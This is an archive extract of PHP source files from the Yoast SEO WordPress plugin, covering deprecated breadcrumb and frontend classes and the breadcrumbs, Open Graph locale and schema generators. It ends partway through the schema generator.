wordpress-seo/src/deprecated/frontend/breadcrumbs.php000064400000006311147510273100017071 0ustar00<?php
/**
 * Backwards compatibility class for breadcrumbs.
 *
 * @package Yoast\YoastSEO\Backwards_Compatibility
 */

use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Breadcrumbs_Presenter;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Class WPSEO_Breadcrumbs
 *
 * @codeCoverageIgnore Because of deprecation.
 */
class WPSEO_Breadcrumbs {

	/**
	 * Instance of this class.
	 *
	 * @var WPSEO_Breadcrumbs
	 */
	public static $instance;

	/**
	 * Last used 'before' string.
	 *
	 * @var string
	 */
	public static $before = '';

	/**
	 * Last used 'after' string.
	 *
	 * @var string
	 */
	public static $after = '';

	/**
	 * The memoizer for the meta tags context.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	protected $context_memoizer;

	/**
	 * The helpers surface.
	 *
	 * @var Helpers_Surface
	 */
	protected $helpers;

	/**
	 * The replace vars helper
	 *
	 * @var WPSEO_Replace_Vars
	 */
	protected $replace_vars;

	/**
	 * WPSEO_Breadcrumbs constructor.
	 */
	public function __construct() {
		$this->context_memoizer = YoastSEO()->classes->get( Meta_Tags_Context_Memoizer::class );
		$this->helpers          = YoastSEO()->classes->get( Helpers_Surface::class );
		$this->replace_vars     = YoastSEO()->classes->get( WPSEO_Replace_Vars::class );
	}

	/**
	 * Get breadcrumb string using the singleton instance of this class.
	 *
	 * @param string $before  Optional string to prepend.
	 * @param string $after   Optional string to append.
	 * @param bool   $display Echo or return flag.
	 *
	 * @return string Returns the breadcrumbs as a string.
	 */
	public static function breadcrumb( $before = '', $after = '', $display = true ) {
		// Remember the last used before/after for use in case the object goes __toString().
		self::$before = $before;
		self::$after  = $after;
		$output       = $before . self::get_instance()->render() . $after;

		if ( $display === true ) {
			echo $output;

			return '';
		}

		return $output;
	}

	/**
	 * Magic method to use in case the class would be send to string.
	 *
	 * @return string The rendered breadcrumbs.
	 */
	public function __toString() {
		return self::$before . $this->render() . self::$after;
	}

	/**
	 * Retrieves an instance of the class.
	 *
	 * @return static The instance.
	 */
	public static function get_instance() {
		if ( is_null( self::$instance ) ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Returns the collected links for the breadcrumbs.
	 *
	 * @return array The collected links.
	 */
	public function get_links() {
		$context = $this->context_memoizer->for_current_page();

		return $context->presentation->breadcrumbs;
	}

	/**
	 * Renders the breadcrumbs.
	 *
	 * @return string The rendered breadcrumbs.
	 */
	private function render() {
		$presenter = new Breadcrumbs_Presenter();
		$context   = $this->context_memoizer->for_current_page();

		/** This filter is documented in src/integrations/front-end-integration.php */
		$presentation            = apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
		$presenter->presentation = $presentation;
		$presenter->replace_vars = $this->replace_vars;
		$presenter->helpers      = $this->helpers;

		return $presenter->present();
	}
}
wordpress-seo/src/deprecated/frontend/frontend.php000064400000017042147510273100016422 0ustar00<?php
/**
 * Backwards compatibility class for WPSEO_Frontend.
 *
 * @package Yoast\YoastSEO\Backwards_Compatibility
 */

use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Canonical_Presenter;
use Yoast\WP\SEO\Presenters\Meta_Description_Presenter;
use Yoast\WP\SEO\Presenters\Rel_Next_Presenter;
use Yoast\WP\SEO\Presenters\Rel_Prev_Presenter;
use Yoast\WP\SEO\Presenters\Robots_Presenter;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Class WPSEO_Frontend
 *
 * @codeCoverageIgnore Because of deprecation.
 */
class WPSEO_Frontend {

	/**
	 * Instance of this class.
	 *
	 * @var WPSEO_Frontend
	 */
	public static $instance;

	/**
	 * The memoizer for the meta tags context.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	private $context_memoizer;

	/**
	 * The WPSEO Replace Vars object.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	private $replace_vars;

	/**
	 * The helpers surface.
	 *
	 * @var Helpers_Surface
	 */
	private $helpers;

	/**
	 * WPSEO_Frontend constructor.
	 */
	public function __construct() {
		$this->context_memoizer = YoastSEO()->classes->get( Meta_Tags_Context_Memoizer::class );
		$this->replace_vars     = YoastSEO()->classes->get( WPSEO_Replace_Vars::class );
		$this->helpers          = YoastSEO()->classes->get( Helpers_Surface::class );
	}

	/**
	 * Catches call to methods that don't exist and might deprecated.
	 *
	 * @param string $method    The called method.
	 * @param array  $arguments The given arguments.
	 *
	 * @return mixed
	 */
	public function __call( $method, $arguments ) {
		_deprecated_function( $method, 'Yoast SEO 14.0' );

		$title_methods = [
			'title',
			'fix_woo_title',
			'get_content_title',
			'get_seo_title',
			'get_taxonomy_title',
			'get_author_title',
			'get_title_from_options',
			'get_default_title',
			'force_wp_title',
		];
		if ( in_array( $method, $title_methods, true ) ) {
			return $this->get_title();
		}

		return null;
	}

	/**
	 * Retrieves an instance of the class.
	 *
	 * @return static The instance.
	 */
	public static function get_instance() {
		if ( is_null( self::$instance ) ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Outputs the canonical value.
	 *
	 * @param bool $echo        Whether or not to output the canonical element.
	 * @param bool $un_paged    Whether or not to return the canonical with or without pagination added to the URL.
	 * @param bool $no_override Whether or not to return a manually overridden canonical.
	 *
	 * @return string|void
	 */
	public function canonical( $echo = true, $un_paged = false, $no_override = false ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		$presentation = $this->get_current_page_presentation();
		$presenter    = new Canonical_Presenter();

		/** This filter is documented in src/integrations/front-end-integration.php */
		$presenter->presentation = $presentation;
		$presenter->helpers      = $this->helpers;
		$presenter->replace_vars = $this->replace_vars;

		if ( ! $echo ) {
			return $presenter->get();
		}

		echo $presenter->present();
	}

	/**
	 * Retrieves the meta robots value.
	 *
	 * @return string
	 */
	public function get_robots() {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		$presentation = $this->get_current_page_presentation();
		return $presentation->robots;
	}

	/**
	 * Outputs the meta robots value.
	 *
	 * @return void
	 */
	public function robots() {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		$presentation            = $this->get_current_page_presentation();
		$presenter               = new Robots_Presenter();
		$presenter->presentation = $presentation;
		$presenter->helpers      = $this->helpers;
		$presenter->replace_vars = $this->replace_vars;
		echo $presenter->present();
	}

	/**
	 * Determine $robots values for a single post.
	 *
	 * @param array $robots  Robots data array.
	 * @param int   $post_id The post ID for which to determine the $robots values, defaults to current post.
	 *
	 * @return array
	 */
	public function robots_for_single_post( $robots, $post_id = 0 ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		$presentation = $this->get_current_page_presentation();

		return $presentation->robots;
	}

	/**
	 * Used for static home and posts pages as well as singular titles.
	 *
	 * @param object|null $object If filled, object to get the title for.
	 *
	 * @return string The content title.
	 */
	private function get_title( $object = null ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		$presentation = $this->get_current_page_presentation();
		$title        = $presentation->title;

		return $this->replace_vars->replace( $title, $presentation->source );
	}

	/**
	 * This function adds paging details to the title.
	 *
	 * @param string $sep         Separator used in the title.
	 * @param string $seplocation Whether the separator should be left or right.
	 * @param string $title       The title to append the paging info to.
	 *
	 * @return string
	 */
	public function add_paging_to_title( $sep, $seplocation, $title ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		return $title;
	}

	/**
	 * Add part to title, while ensuring that the $seplocation variable is respected.
	 *
	 * @param string $sep         Separator used in the title.
	 * @param string $seplocation Whether the separator should be left or right.
	 * @param string $title       The title to append the title_part to.
	 * @param string $title_part  The part to append to the title.
	 *
	 * @return string
	 */
	public function add_to_title( $sep, $seplocation, $title, $title_part ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		if ( $seplocation === 'right' ) {
			return $title . $sep . $title_part;
		}

		return $title_part . $sep . $title;
	}

	/**
	 * Adds 'prev' and 'next' links to archives.
	 *
	 * @link http://googlewebmastercentral.blogspot.com/2011/09/pagination-with-relnext-and-relprev.html
	 *
	 * @return void
	 */
	public function adjacent_rel_links() {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		$presentation = $this->get_current_page_presentation();

		$rel_prev_presenter               = new Rel_Prev_Presenter();
		$rel_prev_presenter->presentation = $presentation;
		$rel_prev_presenter->helpers      = $this->helpers;
		$rel_prev_presenter->replace_vars = $this->replace_vars;
		echo $rel_prev_presenter->present();

		$rel_next_presenter               = new Rel_Next_Presenter();
		$rel_next_presenter->presentation = $presentation;
		$rel_next_presenter->helpers      = $this->helpers;
		$rel_next_presenter->replace_vars = $this->replace_vars;
		echo $rel_next_presenter->present();
	}

	/**
	 * Outputs the meta description element or returns the description text.
	 *
	 * @param bool $echo Echo or return output flag.
	 *
	 * @return string
	 */
	public function metadesc( $echo = true ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 14.0' );

		$presentation            = $this->get_current_page_presentation();
		$presenter               = new Meta_Description_Presenter();
		$presenter->presentation = $presentation;
		$presenter->helpers      = $this->helpers;
		$presenter->replace_vars = $this->replace_vars;

		if ( ! $echo ) {
			return $presenter->get();
		}
		$presenter->present();
	}

	/**
	 * Returns the current page presentation.
	 *
	 * @return Indexable_Presentation The current page presentation.
	 */
	private function get_current_page_presentation() {
		$context = $this->context_memoizer->for_current_page();

		/** This filter is documented in src/integrations/front-end-integration.php */
		return apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
	}
}
wordpress-seo/src/deprecated/index.php000064400000000046147510273100014067 0ustar00<?php
/**
 * Nothing to see here.
 */
wordpress-seo/src/generators/breadcrumbs-generator.php000064400000031164147510273100017313 0ustar00<?php

namespace Yoast\WP\SEO\Generators;

use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Pagination_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Represents the generator class for the breadcrumbs.
 */
class Breadcrumbs_Generator implements Generator_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $repository;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page_helper;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type_helper;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	private $url_helper;

	/**
	 * The pagination helper.
	 *
	 * @var Pagination_Helper
	 */
	private $pagination_helper;

	/**
	 * Breadcrumbs_Generator constructor.
	 *
	 * @param Indexable_Repository $repository          The repository.
	 * @param Options_Helper       $options             The options helper.
	 * @param Current_Page_Helper  $current_page_helper The current page helper.
	 * @param Post_Type_Helper     $post_type_helper    The post type helper.
	 * @param Url_Helper           $url_helper          The URL helper.
	 * @param Pagination_Helper    $pagination_helper   The pagination helper.
	 */
	public function __construct(
		Indexable_Repository $repository,
		Options_Helper $options,
		Current_Page_Helper $current_page_helper,
		Post_Type_Helper $post_type_helper,
		Url_Helper $url_helper,
		Pagination_Helper $pagination_helper
	) {
		$this->repository          = $repository;
		$this->options             = $options;
		$this->current_page_helper = $current_page_helper;
		$this->post_type_helper    = $post_type_helper;
		$this->url_helper          = $url_helper;
		$this->pagination_helper   = $pagination_helper;
	}

	/**
	 * Generates the breadcrumbs.
	 *
	 * @param Meta_Tags_Context $context The meta tags context.
	 *
	 * @return array<array<int,string>> An array of associative arrays that each have a 'text' and a 'url'.
	 */
	public function generate( Meta_Tags_Context $context ) {
		$static_ancestors = [];
		$breadcrumbs_home = $this->options->get( 'breadcrumbs-home' );
		if ( $breadcrumbs_home !== '' && ! \in_array( $this->current_page_helper->get_page_type(), [ 'Home_Page', 'Static_Home_Page' ], true ) ) {
			$front_page_id = $this->current_page_helper->get_front_page_id();
			if ( $front_page_id === 0 ) {
				$home_page_ancestor = $this->repository->find_for_home_page();
				if ( \is_a( $home_page_ancestor, Indexable::class ) ) {
					$static_ancestors[] = $home_page_ancestor;
				}
			}
			else {
				$static_ancestor = $this->repository->find_by_id_and_type( $front_page_id, 'post' );
				if ( \is_a( $static_ancestor, Indexable::class ) && $static_ancestor->post_status !== 'unindexed' ) {
					$static_ancestors[] = $static_ancestor;
				}
			}
		}
		$page_for_posts = \get_option( 'page_for_posts' );
		if ( $this->should_have_blog_crumb( $page_for_posts, $context ) ) {
			$static_ancestor = $this->repository->find_by_id_and_type( $page_for_posts, 'post' );
			if ( \is_a( $static_ancestor, Indexable::class ) && $static_ancestor->post_status !== 'unindexed' ) {
				$static_ancestors[] = $static_ancestor;
			}
		}
		if (
			$context->indexable->object_type === 'post'
			&& $context->indexable->object_sub_type !== 'post'
			&& $context->indexable->object_sub_type !== 'page'
			&& $this->post_type_helper->has_archive( $context->indexable->object_sub_type )
		) {
			$static_ancestor = $this->repository->find_for_post_type_archive( $context->indexable->object_sub_type );
			if ( \is_a( $static_ancestor, Indexable::class ) ) {
				$static_ancestors[] = $static_ancestor;
			}
		}
		if ( $context->indexable->object_type === 'term' ) {
			$parent = $this->get_taxonomy_post_type_parent( $context->indexable->object_sub_type );
			if ( $parent && $parent !== 'post' && $this->post_type_helper->has_archive( $parent ) ) {
				$static_ancestor = $this->repository->find_for_post_type_archive( $parent );
				if ( \is_a( $static_ancestor, Indexable::class ) ) {
					$static_ancestors[] = $static_ancestor;
				}
			}
		}
		$indexables = [];
		if ( ! \in_array( $this->current_page_helper->get_page_type(), [ 'Home_Page', 'Static_Home_Page' ], true ) ) {
			// Get all ancestors of the indexable and append itself to get all indexables in the full crumb.
			$indexables = $this->repository->get_ancestors( $context->indexable );
		}
		$indexables[] = $context->indexable;

		if ( ! empty( $static_ancestors ) ) {
			\array_unshift( $indexables, ...$static_ancestors );
		}

		$indexables = \apply_filters( 'wpseo_breadcrumb_indexables', $indexables, $context );
		$indexables = \is_array( $indexables ) ? $indexables : [];
		$indexables = \array_filter(
			$indexables,
			static function ( $indexable ) {
				return \is_a( $indexable, Indexable::class );
			}
		);

		$crumbs = \array_map( [ $this, 'get_post_type_crumb' ], $indexables );

		if ( $breadcrumbs_home !== '' ) {
			$crumbs[0]['text'] = $breadcrumbs_home;
		}

		$crumbs = $this->add_paged_crumb( $crumbs, $context->indexable );

		/**
		 * Filter: 'wpseo_breadcrumb_links' - Allow the developer to filter the Yoast SEO breadcrumb links, add to them, change order, etc.
		 *
		 * @param array $crumbs The crumbs array.
		 */
		$filtered_crumbs = \apply_filters( 'wpseo_breadcrumb_links', $crumbs );

		// Basic check to make sure the filtered crumbs are in an array.
		if ( ! \is_array( $filtered_crumbs ) ) {
			\_doing_it_wrong(
				'Filter: \'wpseo_breadcrumb_links\'',
				'The `wpseo_breadcrumb_links` filter should return a multi-dimensional array.',
				'YoastSEO v20.0'
			);
		}
		else {
			$crumbs = $filtered_crumbs;
		}

		$filter_callback = static function ( $link_info, $index ) use ( $crumbs ) {
			/**
			 * Filter: 'wpseo_breadcrumb_single_link_info' - Allow developers to filter the Yoast SEO Breadcrumb link information.
			 *
			 * @param array $link_info The breadcrumb link information.
			 * @param int   $index     The index of the breadcrumb in the list.
			 * @param array $crumbs    The complete list of breadcrumbs.
			 */
			return \apply_filters( 'wpseo_breadcrumb_single_link_info', $link_info, $index, $crumbs );
		};
		return \array_map( $filter_callback, $crumbs, \array_keys( $crumbs ) );
	}

	/**
	 * Returns the modified post crumb.
	 *
	 * @param string[]  $crumb    The crumb.
	 * @param Indexable $ancestor The indexable.
	 *
	 * @return array<int,string> The crumb.
	 */
	private function get_post_crumb( $crumb, $ancestor ) {
		$crumb['id'] = $ancestor->object_id;

		return $crumb;
	}

	/**
	 * Adds the correct ID to the crumb array based on the ancestor provided.
	 *
	 * @param Indexable $ancestor The ancestor indexable.
	 *
	 * @return string[]
	 */
	private function get_post_type_crumb( Indexable $ancestor ) {
		$crumb = [
			'url'  => $ancestor->permalink,
			'text' => $ancestor->breadcrumb_title,
		];

		switch ( $ancestor->object_type ) {
			case 'post':
				$crumb = $this->get_post_crumb( $crumb, $ancestor );
				break;
			case 'post-type-archive':
				$crumb = $this->get_post_type_archive_crumb( $crumb, $ancestor );
				break;
			case 'term':
				$crumb = $this->get_term_crumb( $crumb, $ancestor );
				break;
			case 'system-page':
				$crumb = $this->get_system_page_crumb( $crumb, $ancestor );
				break;
			case 'user':
				$crumb = $this->get_user_crumb( $crumb, $ancestor );
				break;
			case 'date-archive':
				$crumb = $this->get_date_archive_crumb( $crumb );
				break;
			default:
				// Handle unknown object types (optional).
				break;
		}

		return $crumb;
	}

	/**
	 * Returns the modified post type crumb.
	 *
	 * @param string[]  $crumb    The crumb.
	 * @param Indexable $ancestor The indexable.
	 *
	 * @return string[] The crumb.
	 */
	private function get_post_type_archive_crumb( $crumb, $ancestor ) {
		$crumb['ptarchive'] = $ancestor->object_sub_type;

		return $crumb;
	}

	/**
	 * Returns the modified term crumb.
	 *
	 * @param string[]  $crumb    The crumb.
	 * @param Indexable $ancestor The indexable.
	 *
	 * @return array<int,string> The crumb.
	 */
	private function get_term_crumb( $crumb, $ancestor ) {
		$crumb['term_id']  = $ancestor->object_id;
		$crumb['taxonomy'] = $ancestor->object_sub_type;

		return $crumb;
	}

	/**
	 * Returns the modified system page crumb.
	 *
	 * @param string[]  $crumb    The crumb.
	 * @param Indexable $ancestor The indexable.
	 *
	 * @return string[] The crumb.
	 */
	private function get_system_page_crumb( $crumb, $ancestor ) {
		if ( $ancestor->object_sub_type === 'search-result' ) {
			$crumb['text'] = $this->options->get( 'breadcrumbs-searchprefix' ) . ' ' . \esc_html( \get_search_query() );
			$crumb['url']  = \get_search_link();
		}
		elseif ( $ancestor->object_sub_type === '404' ) {
			$crumb['text'] = $this->options->get( 'breadcrumbs-404crumb' );
		}

		return $crumb;
	}

	/**
	 * Returns the modified user crumb.
	 *
	 * @param string[]  $crumb    The crumb.
	 * @param Indexable $ancestor The indexable.
	 *
	 * @return string[] The crumb.
	 */
	private function get_user_crumb( $crumb, $ancestor ) {
		$display_name  = \get_the_author_meta( 'display_name', $ancestor->object_id );
		$crumb['text'] = $this->options->get( 'breadcrumbs-archiveprefix' ) . ' ' . $display_name;

		return $crumb;
	}

	/**
	 * Returns the modified date archive crumb.
	 *
	 * @param string[] $crumb The crumb.
	 *
	 * @return string[] The crumb.
	 */
	protected function get_date_archive_crumb( $crumb ) {
		$home_url = $this->url_helper->home();
		$prefix   = $this->options->get( 'breadcrumbs-archiveprefix' );

		if ( \is_day() ) {
			$day           = \esc_html( \get_the_date() );
			$crumb['url']  = $home_url . \get_the_date( 'Y/m/d' ) . '/';
			$crumb['text'] = $prefix . ' ' . $day;
		}
		elseif ( \is_month() ) {
			$month         = \esc_html( \trim( \single_month_title( ' ', false ) ) );
			$crumb['url']  = $home_url . \get_the_date( 'Y/m' ) . '/';
			$crumb['text'] = $prefix . ' ' . $month;
		}
		elseif ( \is_year() ) {
			$year          = \get_the_date( 'Y' );
			$crumb['url']  = $home_url . $year . '/';
			$crumb['text'] = $prefix . ' ' . $year;
		}

		return $crumb;
	}

	/**
	 * Returns whether or not a blog crumb should be added.
	 *
	 * @param int               $page_for_posts The page for posts ID.
	 * @param Meta_Tags_Context $context        The meta tags context.
	 *
	 * @return bool Whether or not a blog crumb should be added.
	 */
	protected function should_have_blog_crumb( $page_for_posts, $context ) {
		// When there is no page configured as blog page.
		if ( \get_option( 'show_on_front' ) !== 'page' || ! $page_for_posts ) {
			return false;
		}

		if ( $context->indexable->object_type === 'term' ) {
			$parent = $this->get_taxonomy_post_type_parent( $context->indexable->object_sub_type );
			return $parent === 'post';
		}

		if ( $this->options->get( 'breadcrumbs-display-blog-page' ) !== true ) {
			return false;
		}

		// When the current page is the home page, searchpage or isn't a singular post.
		if ( \is_home() || \is_search() || ! \is_singular( 'post' ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Returns the post type parent of a given taxonomy.
	 *
	 * @param string $taxonomy The taxonomy.
	 *
	 * @return string|false The parent if it exists, false otherwise.
	 */
	protected function get_taxonomy_post_type_parent( $taxonomy ) {
		$parent = $this->options->get( 'taxonomy-' . $taxonomy . '-ptparent' );

		if ( empty( $parent ) || (string) $parent === '0' ) {
			return false;
		}

		return $parent;
	}

	/**
	 * Adds a crumb for the current page, if we're on an archive page or paginated post.
	 *
	 * @param string[]  $crumbs            The array of breadcrumbs.
	 * @param Indexable $current_indexable The current indexable.
	 *
	 * @return string[] The breadcrumbs.
	 */
	protected function add_paged_crumb( array $crumbs, $current_indexable ) {
		$is_simple_page = $this->current_page_helper->is_simple_page();

		// If we're not on a paged page do nothing.
		if ( ! $is_simple_page && ! $this->current_page_helper->is_paged() ) {
			return $crumbs;
		}

		// If we're not on a paginated post do nothing.
		if ( $is_simple_page && $current_indexable->number_of_pages === null ) {
			return $crumbs;
		}

		$current_page_number = $this->pagination_helper->get_current_page_number();
		if ( $current_page_number <= 1 ) {
			return $crumbs;
		}

		$crumbs[] = [
			'text' => \sprintf(
				/* translators: %s expands to the current page number */
				\__( 'Page %s', 'wordpress-seo' ),
				$current_page_number
			),
		];

		return $crumbs;
	}
}
wordpress-seo/src/generators/open-graph-locale-generator.php000064400000012767147510273100020327 0ustar00<?php

namespace Yoast\WP\SEO\Generators;

use Yoast\WP\SEO\Context\Meta_Tags_Context;

/**
 * Class Open_Graph_Locale_Generator.
 */
class Open_Graph_Locale_Generator implements Generator_Interface {

	/**
	 * Generates the OG Locale.
	 *
	 * @param Meta_Tags_Context $context The context.
	 *
	 * @return string The OG locale.
	 */
	public function generate( Meta_Tags_Context $context ) {
		/**
		 * Filter: 'wpseo_locale' - Allow changing the locale output.
		 *
		 * Note that this filter is different from `wpseo_og_locale`, which is run _after_ the OG specific filtering.
		 *
		 * @param string $locale Locale string.
		 */
		$locale = \apply_filters( 'wpseo_locale', \get_locale() );

		// Catch some weird locales served out by WP that are not easily doubled up.
		$fix_locales = [
			'ca' => 'ca_ES',
			'en' => 'en_US',
			'el' => 'el_GR',
			'et' => 'et_EE',
			'ja' => 'ja_JP',
			'sq' => 'sq_AL',
			'uk' => 'uk_UA',
			'vi' => 'vi_VN',
			'zh' => 'zh_CN',
		];

		if ( isset( $fix_locales[ $locale ] ) ) {
			return $fix_locales[ $locale ];
		}

		// Convert locales like "es" to "es_ES", in case that works for the given locale (sometimes it does).
		if ( \strlen( $locale ) === 2 ) {
			$locale = \strtolower( $locale ) . '_' . \strtoupper( $locale );
		}

		// These are the locales FB supports.
		$fb_valid_fb_locales = [
			'af_ZA', // Afrikaans.
			'ak_GH', // Akan.
			'am_ET', // Amharic.
			'ar_AR', // Arabic.
			'as_IN', // Assamese.
			'ay_BO', // Aymara.
			'az_AZ', // Azerbaijani.
			'be_BY', // Belarusian.
			'bg_BG', // Bulgarian.
			'bp_IN', // Bhojpuri.
			'bn_IN', // Bengali.
			'br_FR', // Breton.
			'bs_BA', // Bosnian.
			'ca_ES', // Catalan.
			'cb_IQ', // Sorani Kurdish.
			'ck_US', // Cherokee.
			'co_FR', // Corsican.
			'cs_CZ', // Czech.
			'cx_PH', // Cebuano.
			'cy_GB', // Welsh.
			'da_DK', // Danish.
			'de_DE', // German.
			'el_GR', // Greek.
			'en_GB', // English (UK).
			'en_PI', // English (Pirate).
			'en_UD', // English (Upside Down).
			'en_US', // English (US).
			'em_ZM',
			'eo_EO', // Esperanto.
			'es_ES', // Spanish (Spain).
			'es_LA', // Spanish.
			'es_MX', // Spanish (Mexico).
			'et_EE', // Estonian.
			'eu_ES', // Basque.
			'fa_IR', // Persian.
			'fb_LT', // Leet Speak.
			'ff_NG', // Fulah.
			'fi_FI', // Finnish.
			'fo_FO', // Faroese.
			'fr_CA', // French (Canada).
			'fr_FR', // French (France).
			'fy_NL', // Frisian.
			'ga_IE', // Irish.
			'gl_ES', // Galician.
			'gn_PY', // Guarani.
			'gu_IN', // Gujarati.
			'gx_GR', // Classical Greek.
			'ha_NG', // Hausa.
			'he_IL', // Hebrew.
			'hi_IN', // Hindi.
			'hr_HR', // Croatian.
			'hu_HU', // Hungarian.
			'ht_HT', // Haitian Creole.
			'hy_AM', // Armenian.
			'id_ID', // Indonesian.
			'ig_NG', // Igbo.
			'is_IS', // Icelandic.
			'it_IT', // Italian.
			'ik_US',
			'iu_CA',
			'ja_JP', // Japanese.
			'ja_KS', // Japanese (Kansai).
			'jv_ID', // Javanese.
			'ka_GE', // Georgian.
			'kk_KZ', // Kazakh.
			'km_KH', // Khmer.
			'kn_IN', // Kannada.
			'ko_KR', // Korean.
			'ks_IN', // Kashmiri.
			'ku_TR', // Kurdish (Kurmanji).
			'ky_KG', // Kyrgyz.
			'la_VA', // Latin.
			'lg_UG', // Ganda.
			'li_NL', // Limburgish.
			'ln_CD', // Lingala.
			'lo_LA', // Lao.
			'lt_LT', // Lithuanian.
			'lv_LV', // Latvian.
			'mg_MG', // Malagasy.
			'mi_NZ', // Maori.
			'mk_MK', // Macedonian.
			'ml_IN', // Malayalam.
			'mn_MN', // Mongolian.
			'mr_IN', // Marathi.
			'ms_MY', // Malay.
			'mt_MT', // Maltese.
			'my_MM', // Burmese.
			'nb_NO', // Norwegian (bokmal).
			'nd_ZW', // Ndebele.
			'ne_NP', // Nepali.
			'nl_BE', // Dutch (Belgie).
			'nl_NL', // Dutch.
			'nn_NO', // Norwegian (nynorsk).
			'nr_ZA', // Southern Ndebele.
			'ns_ZA', // Northern Sotho.
			'ny_MW', // Chewa.
			'om_ET', // Oromo.
			'or_IN', // Oriya.
			'pa_IN', // Punjabi.
			'pl_PL', // Polish.
			'ps_AF', // Pashto.
			'pt_BR', // Portuguese (Brazil).
			'pt_PT', // Portuguese (Portugal).
			'qc_GT', // Quiché.
			'qu_PE', // Quechua.
			'qr_GR',
			'qz_MM', // Burmese (Zawgyi).
			'rm_CH', // Romansh.
			'ro_RO', // Romanian.
			'ru_RU', // Russian.
			'rw_RW', // Kinyarwanda.
			'sa_IN', // Sanskrit.
			'sc_IT', // Sardinian.
			'se_NO', // Northern Sami.
			'si_LK', // Sinhala.
			'su_ID', // Sundanese.
			'sk_SK', // Slovak.
			'sl_SI', // Slovenian.
			'sn_ZW', // Shona.
			'so_SO', // Somali.
			'sq_AL', // Albanian.
			'sr_RS', // Serbian.
			'ss_SZ', // Swazi.
			'st_ZA', // Southern Sotho.
			'sv_SE', // Swedish.
			'sw_KE', // Swahili.
			'sy_SY', // Syriac.
			'sz_PL', // Silesian.
			'ta_IN', // Tamil.
			'te_IN', // Telugu.
			'tg_TJ', // Tajik.
			'th_TH', // Thai.
			'tk_TM', // Turkmen.
			'tl_PH', // Filipino.
			'tl_ST', // Klingon.
			'tn_BW', // Tswana.
			'tr_TR', // Turkish.
			'ts_ZA', // Tsonga.
			'tt_RU', // Tatar.
			'tz_MA', // Tamazight.
			'uk_UA', // Ukrainian.
			'ur_PK', // Urdu.
			'uz_UZ', // Uzbek.
			've_ZA', // Venda.
			'vi_VN', // Vietnamese.
			'wo_SN', // Wolof.
			'xh_ZA', // Xhosa.
			'yi_DE', // Yiddish.
			'yo_NG', // Yoruba.
			'zh_CN', // Simplified Chinese (China).
			'zh_HK', // Traditional Chinese (Hong Kong).
			'zh_TW', // Traditional Chinese (Taiwan).
			'zu_ZA', // Zulu.
			'zz_TR', // Zazaki.
		];

		// Check to see if the locale is a valid FB one, if not, use en_US as a fallback.
		if ( \in_array( $locale, $fb_valid_fb_locales, true ) ) {
			return $locale;
		}

		$locale = \strtolower( \substr( $locale, 0, 2 ) ) . '_' . \strtoupper( \substr( $locale, 0, 2 ) );
		if ( ! \in_array( $locale, $fb_valid_fb_locales, true ) ) {
			return 'en_US';
		}

		return $locale;
	}
}
wordpress-seo/src/generators/schema-generator.php000064400000032635147510273100016266 0ustar00<?php

namespace Yoast\WP\SEO\Generators;

use WP_Block_Parser_Block;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Generators\Schema\Abstract_Schema_Piece;
use Yoast\WP\SEO\Helpers\Schema\Replace_Vars_Helper;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Class Schema_Generator.
 */
class Schema_Generator implements Generator_Interface {

	/**
	 * The helpers surface.
	 *
	 * @var Helpers_Surface
	 */
	protected $helpers;

	/**
	 * The Schema replace vars helper.
	 *
	 * @var Replace_Vars_Helper
	 */
	protected $schema_replace_vars_helper;

	/**
	 * Generator constructor.
	 *
	 * @param Helpers_Surface     $helpers                    The helpers surface.
	 * @param Replace_Vars_Helper $schema_replace_vars_helper The replace vars helper.
	 */
	public function __construct(
		Helpers_Surface $helpers,
		Replace_Vars_Helper $schema_replace_vars_helper
	) {
		$this->helpers                    = $helpers;
		$this->schema_replace_vars_helper = $schema_replace_vars_helper;
	}

	/**
	 * Returns a Schema graph array.
	 *
	 * @param Meta_Tags_Context $context The meta tags context.
	 *
	 * @return array The graph.
	 */
	public function generate( Meta_Tags_Context $context ) {
		$pieces = $this->get_graph_pieces( $context );

		$this->schema_replace_vars_helper->register_replace_vars( $context );

		foreach ( \array_keys( $context->blocks ) as $block_type ) {
			/**
			 * Filter: 'wpseo_pre_schema_block_type_<block-type>' - Allows hooking things to change graph output based on the blocks on the page.
			 *
			 * @param WP_Block_Parser_Block[] $blocks     All the blocks of this block type.
			 * @param Meta_Tags_Context       $context    A value object with context variables.
			 */
